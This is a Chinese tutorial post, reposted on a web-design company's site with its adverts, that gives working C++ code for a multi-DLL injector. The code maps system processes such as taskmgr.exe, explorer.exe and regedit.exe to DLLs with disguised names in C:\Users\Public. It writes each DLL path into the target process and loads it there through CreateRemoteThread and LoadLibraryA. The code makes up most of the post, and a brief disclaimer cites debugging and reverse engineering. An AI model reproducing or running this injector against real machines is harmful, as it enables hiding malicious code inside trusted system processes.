在C++代码中, 如果要实现将一个Dll高效的注入到多个进程中, 可以定义一个HashMap结构, 在该结构中, 键名用来保存多个进程的名称, 而对应的键值可以对应的保存一个或多个DLL路径, 这个HashMap结构定义如下:
创新互联主要从事做网站、网站建设、网页设计、企业做网站、公司建网站等业务。立足成都服务翁源,十余年网站建设经验,价格优惠、服务专业,欢迎来电咨询建站服务:18982081108
unordered_map> injectionMap;
而向其填充的键和键值参考如下:
injectionMap["taskmgr.exe"] = { "C:\\Users\\Public\\mscde.dll","C:\\Users\\Public\\msc23.dll"};
injectionMap["explorer.exe"] = { "C:\\Users\\Public\\mscde.dll" };
injectionMap["regedit.exe"] = { "C:\\Users\\Public\\mscde.dll" };
injectionMap["notepad.exe"] = { "C:\\Users\\Public\\mscde.dll" };
在该结构中, 每个进程可以对应注入的一个或多个Dll, 实际上键值是一个字符串数组。
这里设计一个多DLL注入器的函数如下:
int injectDlls(unordered_map > injectionMap) {
for (auto& injectRow : injectionMap) {
for (auto& vectorDLL : injectRow.second) {
injectDLL(vectorDLL, getPIDbyProcName(injectRow.first));
}
cout << endl;
}
return 0;
}
该函数实现的功能如下:
通过进程名获取PID的C++参考代码如下:
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
}
}
}
CloseHandle(hSnap);
return pid;
}
以上代码属于常规操作, 不再赘述。
实现远程DLL注入的injectDLL() 函数参考代码如下:
bool injectDLL(string dllPath, int pid) {
char* dllPathChar = new char[dllPath.length() + 1];
strcpy_s(dllPathChar, dllPath.length() + 1, dllPath.c_str());
dllPathChar[dllPath.length()] = '\0';
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
cout << "OpenProcess failed" << endl;
return false;
}
LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (LoadLibAddr == NULL) {
cout << "GetProcAddress failed" << endl;
return false;
}
LPVOID dereercomp = VirtualAllocEx(hProc, NULL, strlen(dllPathChar), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (dereercomp == NULL) {
cout << "VirtualAllocEx failed" << endl;
return false;
}
if (WriteProcessMemory(hProc, dereercomp, dllPathChar, strlen(dllPathChar), NULL) == 0) {
cout << "WriteProcessMemory failed" << endl;
return false;
}
HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, NULL, NULL);
if (hThread == NULL) {
cout << "CreateRemoteThread failed" << endl;
return false;
}
CloseHandle(hProc);
CloseHandle(hThread);
return true;
}
远程DLL注入函数injectDLL() 主要完成了以下工作:
以上代码在布满实时监控检测的机器上已经不再适用于各种非法用途, 但DLL注入仍然在很多场景被用到, 例如: 软件调试、逆向工程、辅助工具开发等。上面的代码实现主要是为了分享对DLL注入的技术细节理解和参考。
标题名称:利用C++的HashMap结构实现一个多DLL注入器
URL链接:http://www.csdahua.cn/qtweb/news33/32083.html
网站建设、网络推广公司-快上网,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 快上网